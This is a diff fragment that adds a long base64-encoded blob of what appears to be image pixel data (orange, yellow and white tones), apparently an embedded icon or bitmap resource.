+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wtxz/78NN//Tcm//89eP//v7+////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////v7+//Ly8v/Bpl7/6qsD//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//Cv
+        AP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A//CvAP/wrwD/8K8A/96m
+        Df/wsAX/77MS/+y6MoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAOy5MoDvsxL/5asP//CwA//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//Cw
+        A//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsAP/8LAD//Cw
+        A//wsAP/8LAD//CwA//wsAP/8LAD//CwA//wsw3/78FE//Talv/9+e7/////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////////////////////39/f/v7u7/vqVg/+aqBf/wsAL/8LAC//Cw
+        Av/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/8LAC//Cw
+        Av/wsAL/8LAC//CwAv/wsAL/8LAC//CwAv/wsAL/3qYO//CwBf/vsxL/7LoygAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA7Ls0gO+0E//lqxD/8LEG//Cx
+        Bv/wsQb/8LEG//CxBv/wsQb/8LEG//CxBv/wsQb/8LEG//CxBv/wsQb/8LEG//CxBv/wsQb/8LEG//Cx
+        Bv/wsQb/8LEG//CxBv/wsQb/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8Lom/+/M
+        bv/68df//v7+////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////////////////////////////////////////////////////////////////////7+
+        /v/8/Pz/4uDb/7ydSv/prAf/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//Cx
+        Bf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//CxBf/wsQX/8LEF//Cx
+        Bf/fpxD/8LAF/++0E//suzSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADsvT5y8LUV/+CoEP/wsgr/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//Cy
+        Cf/wsgn/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//CyCf/wsgn/8LIJ//Cy
+        Cf/wsgn/8LIJ//CyCf/wsgn/8LIJ//C9Nf/y2JP//v36////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////9/f3/9PT0/8vDrv/EmSb/7rEJ//CyCP/wsgj/8LII//Cy
+        CP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII//Cy
+        CP/wsgj/8LII//CyCP/wsgj/8LII//CyCP/wsgj/8LII/96nEv/wrwP/8LUV/+2+PnIAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO7BSmjwtRf/36gR//Gz
+        Dv/xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//Gy
+        C//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyDP/wvjr/9OCq//7+
+        /v//////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////////////////////////////////////+/v7/9vb2/9nW
+        zv+5n1r/2aIP//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//Gy
+        C//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//GyC//xsgv/8bIL//Gy
+        C//xsgv/46oT//CvAv/wtRj/7sFLaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAA7shiWPC2G//epg//8bUU//GzD//xsw//8bMP//GzD//xsw//8bMP//Gz
+        D//xsw//8bMP//GzD//xsw//8bMP//GzD//xsw//8bMP//GzD//xsw//8bMP//GzD//xsw//8bMP//Gz
+        D//xsw//8bMP//GzDv/xsw7/77w0//Pfqf/+/v7/////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////7+/v/8/Pz/8vLy/9bTyf+4omX/zZwY//CzD//xsw7/8bMO//GzDv/xsw7/8bMO//Gz
+        Dv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//Gz
+        Dv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/xsw7/8bMO//GzDv/jqxb/8K8C//C2G//vyWNYAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADvxVND77cg/+Op
+        Cv/wthj/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0
+        Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//C6KP/v1Iz//v7+////
+        ////////////////////////////////////////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////+/v7//v7+//z8/P/09PT/4eHg/8G2mv+6nE7/0Z4V//C0
+        Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0Ef/xtBH/8bQR//G0
+        EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0EP/xtBD/8bQQ//G0
+        EP/xtBD/8bQQ/96oFv/wsAP/77cg/+/FU0MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAPDKZSjvuSb/5qsM/+myGv/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+        FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+        FP/xtRT/8bUU//G1FP/xthb/6sRe//379///////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////////////////////////////////////////////////////v7+//39/f/7+/v/9PT0/+fn
+        5//T0Mb/uq2L/7mdUv/Imh7/5a0U//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+        FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1
+        FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/8bUU//G1FP/xtRT/4qoT//CwBf/wuSb/8MtmKAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA9ObCCu+7
+        Lv/ssA7/5a4a//G2F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX//G2
+        F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX//G2F//xthf/8bYX/+y7Nf/16Mb/////////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////////////////////////////////////////////////////////////////////v7+//7+
+        /v/9/f3/+Pj4/+/v7//f397/ycKw/7enfv+5nlH/xJop/9SgFf/sshf/8bYW//G2Fv/xthb/8bYW//G2
+        Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2
+        Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2Fv/xthb/8bYW//G2
+        Fv/xthb/8bYW//G3Gv/epg//8LEI/++7Lv/058IKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA77895fCzD//gqhz/8bca//G3Gv/xtxr/8bca//G3
+        Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3
+        Gv/xtxr/8bca//G3Gv/xtxz/6chv//7+/v//////////////////////////////////////////////
+        ////////////////////////////////////////////////////////////////////////////////
+        //////////////7+/v/9/f3/+/v7//T09P/n5+f/1dLK/72ylf+4omj/vZs+/8ubHf/eqBn/8bca//G3
+        Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3
+        Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxr/8bca//G3Gv/xtxn/8bcZ//G3
+        Gf/xtxn/8bcZ//G3Gf/xtxn/8bcZ//G3Gf/xtxn/8bcZ//G3Gf/xtxn/77gh/+OnCP/wsgz/8MFA5AAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AADsvT2+8LMM/+GrHP/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4
+        Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd//K4Hf/yuB3/8rgd/++7M//w4rn/////////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///////////////////////////////////+/v7//f39//j4+P/w8PD/397e/8nCr/+2p37/up5T/8Sb
+        Lf/VoRn/6rIc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4
+        HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4
+        HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4HP/yuBz/8rgc//K4
+        HP/yuBz/8rgc//K4HP/osiD/6KsH//C0Ef/ww0q9AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOS5RpLvsAj/4KkX//K5IP/yuR//8rkf//K5
+        H//yuR//8rkf//K5H//yuR//8rkf//K5H//yuR//8rkf//K5H//yuR//8rkf//K5H//yuR//8rkf//K5
+        H//yuR//8rkf//K5H//yuR//57pB//z7+f//////////////////////////////////////////////
+        /////////////////////////////////////////////////////////v7+//7+/v/6+vr/7u7u/9rZ
+        1P/Atpv/t6Nr/76cQf/MnSD/36od//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4
+        H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4
+        H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4
+        H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf//K4H//yuB//8rgf/+GsH//wsAb/8LYY//LO
+        cZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAA4LAuue+wBv/dqBv/8roj//K6I//yuiP/8roj//K6I//yuiP/8roj//K6I//yuiP/8roj//K6
+        Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6I//nynv//v7+////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////v7+//z8/P/x8fH/1NDH/7ine/++nUL/z6Af/+izIv/yuiL/8roi//K6Iv/yuiL/8roi//K6
+        Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6
+        Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6Iv/yuiL/8roi//K6
+        Iv/yuiL/8rki//K5Iv/yuSL/8rki//K5Iv/yuSL/8rki//K5Iv/yuSL/8rki//K5Iv/yuSL/8rki//K5
+        Iv/yuSL/8rki//K5Iv/yuSL/4awe//CwBP/wuCL/8stjYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANyxPj/prQv/5awQ/+izIv/yuyX/8rsl//K7
+        Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7Jf/yuyX/8rsl//K7
+        Jf/yuyX/8rsl//K7Jf/yuyX/8r4v/+fVo///////////////////////////////////////////////
+        //////////////////////////////////////////////39/f/y8vL/ycGs/7ueTv/TpCH/8Lkl//K6
+        Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6
+        Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6
+        Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6
+        Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K6Jf/yuiX/8rol//K7Jv/gqRX/8LEI//G8
+        Lv/z0XMqAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAA4LI3tO+wBv/eqh3/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+        KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/svDr/7uG+////
+        ////////////////////////////////////////////////////////////////////////////////
+        ///9/f3/5OHc/7uhWv/erCX/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+        KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+        KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+        KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7KP/yuyj/8rso//K7
+        KP/yuyj/8rsn//K7J//yuyf/77su/+KnCP/wsw7/8cJD7fjv1QIAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANy2UiTnrQ/96a4O/+axJv/zvCv/87wr//O8
+        K//zvCv/87wr//K8K//yvCv/8rwr//K8K//yvCv/8rwr//K8K//yvCv/8rwr//K8K//yvCv/8rwr//K8
+        K//yvCv/8rwr//K8K//yvCv/8rwr/+e3NP/07t3/////////////////////////////////////////
+        /////////////////////////////////////////v7+/+bj3P/FoUD/8bsr//K8Kv/yvCr/8rwq//K8
+        Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8
+        Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8
+        Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8
+        Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/yvCr/8rwq//K8Kv/ksSn/7K4H//G2
+        GP/zzGKwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAA4LEvhu2vB//eqRj/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9
+        Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/57Yx//r5
+        9v//////////////////////////////////////////////////////////////////////////////
+        ///4+Pj/yq1d//K8Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9
+        Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9Lv/zvS7/870u//O9
+        Lv/zvS7/870u//O/M//0yFP/8shZ//LHVv/yyFn/9MlV//PAOP/zvS3/870t//O9Lf/zvS3/870t//O9
+        Lf/zvS3/870t//O9Lf/zvS3/870t//O9Lf/zvS3/870t//O9Lf/zvS3/870t//O9Lf/zvS3/870t//O9
+        Lf/zvS3/870t//O9Lf/zvS3/870t/+CsIv/wsAb/8bol//XakGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOPdzgHlsijh8LEJ/+CtJf/zvjH/874w//O+
+        MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+
+        MP/zvjD/874w//O+MP/zvjD/874w//O+MP/gsjj/+vr6////////////////////////////////////
+        /////////////////////////////////////////////+ffyv/ktDP/874w//O+MP/zvjD/874w//O+
+        MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+
+        MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+Mv/xx1X/89WE//fksv/78NP//PTe//vw
+        0v/35bX/9dyb//HKYv/zxEX/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+
+        MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvjD/874w//O+MP/zvzX/36cQ//Cy
+        DP/yvzf/9tyXIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAA4LhMMuqvEf/mqw3/67kx//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+        M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z/9+z
+        P//6+vr/////////////////////////////////////////////////////////////////////////
+        ////////3s2c//PAN//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+        M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+        M//zwDj/8Mpk//bnvv/+/v7//////////////////////////////////Pju//LYk//xxlH/878z//O/
+        M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/M//zvzP/878z//O/
+        M//zvzP/878z//O/M//zvzP/878z/+e2Mv/prAf/8bYW//PKWtEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADkvFB67rAK/9+pGP/zwDf/88A2//PA
+        Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PA
+        Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/4bM3//n5+f//////////////////////////////
+        ///////////////////////////////////////////////////n0Zb/88A4//PANv/zwDb/88A2//PA
+        Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PA
+        Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88E7/+7KaP/68dn//v7+////////////////////
+        /////////////////////////v7+//Lep//wxE3/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PA
+        Nv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDb/88A2//PANv/zwDX/88A1//PANf/zwDX/364m//Cx
+        Bv/xuib/9dR6fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAOa3N7rwsQf/4K4m//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+        Of/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+        Of/ltzn/9PHr////////////////////////////////////////////////////////////////////
+        /////////////+bUo//zw0H/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+        Of/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+        O//vyWT/+O/U//7+/v///////////////////////////////////////////////////////v7+/+rP
+        g//zwj//88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PBOf/zwTn/88E5//PB
+        Of/zwTn/88E5//PBOf/zwTn/88E5//LCPv/gpw//8LMO//LBO/745K8jAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADp49MB6bMh8O+yCv/hsS3/9MI8//TC
+        PP/0wjz/9MI8//TCPP/0wjz/9MI8//TCPP/0wjz/9MI8//TCPP/0wjz/9MI8//TCPP/0wjz/9MI8//TC
+        PP/0wjz/9MI8//TCPP/0wjz/9MI8//TCPP/0wjz/9MI8/+W4QP/u5c//////////////////////////
+        ////////////////////////////////////////////////////////8+fH/+/DTf/0wjz/9MI8//TC
+        PP/0wjz/9MI8//TCPP/0wjz/9MI8//PCPP/zwjz/88I8//PCPP/zwjz/88I8//PCPP/zwjz/88I8//PC
+        PP/zwjz/88I8//PCPP/zwjz/88I8//PCPP/zwj3/7shg//fqyP/+/v7/////////////////////////
+        ////////////////////////////////////////9e3V/+vAS//zwjv/88I7//PCO//zwjv/88I7//PC
+        O//zwjv/88I7//PCO//zwjv/88I7//PCO//zwjv/88I7//PCO//zwjv/88I7//PCO//zwjv/47Q0/+yu
+        B//xtxz/9MxhwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAObBXSHsshj/6KwM/+m5OP/0wj//9MI///TCP//0wj//9MI///TCP//0wj//9MI///TC
+        P//0wj//9MI///TCP//0wj//9MI///TCP//0wj//9MI///TCP//0wj//9MI///TCPv/0wj7/9MI+//TC
+        Pv/0wj7/8cJG/+DSrP/+/v7/////////////////////////////////////////////////////////
+        ///////////////////9/Pz/6sVj//TCP//0wj7/9MI+//TCPv/0wj7/9MI+//TCPv/0wj7/9MI+//TC
+        Pv/0wj7/9MI+//TCPv/0wj7/9MI+//TCPv/0wj7/9MI+//TCPv/0wj7/9MI+//TCPv/0wj7/9MI///DI
+        YP/15r7//v7+////////////////////////////////////////////////////////////////////
+        ///9/f3/5b5W//TCPv/0wj7/9MI+//TCPv/0wj7/9MI+//TCPv/0wj7/9MI+//TCPv/0wj7/9MI+//TC
+        Pv/0wj7/9MI+//TCPv/0wj7/9MI+//TDQf/fqx3/8LIK//K+Mv/43ZReAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6LxHR+2yFP/kqQv/8cJE//TD
+        Qv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TD
+        Qv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0xEP/2cSM//39/f//////////////
+        //////////////////////////////////////////////////////////////7+/v/z4rb/8cdY//TD
+        Qv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TDQv/0w0L/9MNC//TD
+        Qv/0w0L/9MNC//TDQv/0w0L/9MNC//TERf/wymX/9ue+//7+/v//////////////////////////////
+        //////////////////////////////////////////////7+/v/mxGj/9MNB//TDQf/0w0H/9MNB//TD
+        Qf/0w0H/9MNB//TDQf/0w0H/9MNB//TDQf/0w0H/9MNB//TDQf/0w0H/9MNB//TDQf/0w0H/6rtA/+eq
+        B//xthf/9MlV6vrsxggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAADouj5m7rMR/96oE//0xUf/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TE
+        RP/0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TE
+        RP/0xET/9MRE//TERP/Xt2D/+vr6////////////////////////////////////////////////////
+        //////////////////////////////7+/v/x2JP/88pc//TERP/0xET/9MRE//TERP/0xET/9MRE//TE
+        RP/0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TERP/0yVT/8M5w//js
+        zP/+/v7/////////////////////////////////////////////////////////////////////////
+        /////////Pz8/+LAY//0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TERP/0xET/9MRE//TE
+        RP/0xET/9MRE//TERP/0xET/9MRE//TERf/frCb/8LEJ//K9Lf/21HeCAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOq3MHzvshD/4KoY//TF
+        SP/0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TF
+        R//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH/92zQf/t6d///v7+////
+        //////////////////////////////////////////////////////////////////////////////7+
+        /f/z3J3/8s1o//THTf/0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TF
+        R//0xUf/9MVH//TFR//0yFH/8cxo//PZkv/8+Ov/////////////////////////////////////////
+        ///////////////////////////////////////////////////39/f/27VN//TFR//0xUf/9MVH//TF
+        R//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/9MVH//TFR//0xUf/679H/+Sp
+        Cf/xtRf/88ZM9vjaihQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAA68dojvCzD//lrx7/9MZK//TGSv/0xkr/9MZK//TGSv/0xkr/9MZK//TG
+        Sv/0xkr/9MZK//TGSv/0xkr/9MZK//TGSv/0xkr/9MZK//TGSv/0xkr/9MZK//TGSv/0xkr/9MZK//TG
+        Sv/0xkr/9MZK//TGSv/0xkr/8sZN/9PBkP/9/f3/////////////////////////////////////////
+        //////////////////////////////////////////////7+/v/57s7/89aJ//LOav/1zV//9MdO//TG
+        Sv/0xkr/9MZK//TGSv/0xkr/9MZK//TGSv/0xkr/9MZL//TJVP/0z2z/8s1o//Tbl//67s///v7+////
+        ////////////////////////////////////////////////////////////////////////////////
+        /////////v7+/+jhz//lukf/9MZK//TGSv/0xkn/9MZJ//TGSf/0xkn/9MZJ//TGSf/0xkn/9MZJ//TG
+        Sf/0xkn/9MZJ//TGSf/0xkn/9MZJ//TGS//erSj/8LIK//K9Lf/43paQAAAAAAAAAAAAAAAAAAAAAAAA
+        AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADsx2OQ8LMP/+Ou
+        IP/0x03/9MdN//THTf/0x03/9MdN//THTf/0x03/9MdN//THTf/0x03/9MdN//THTf/0x03/9MdN//TH
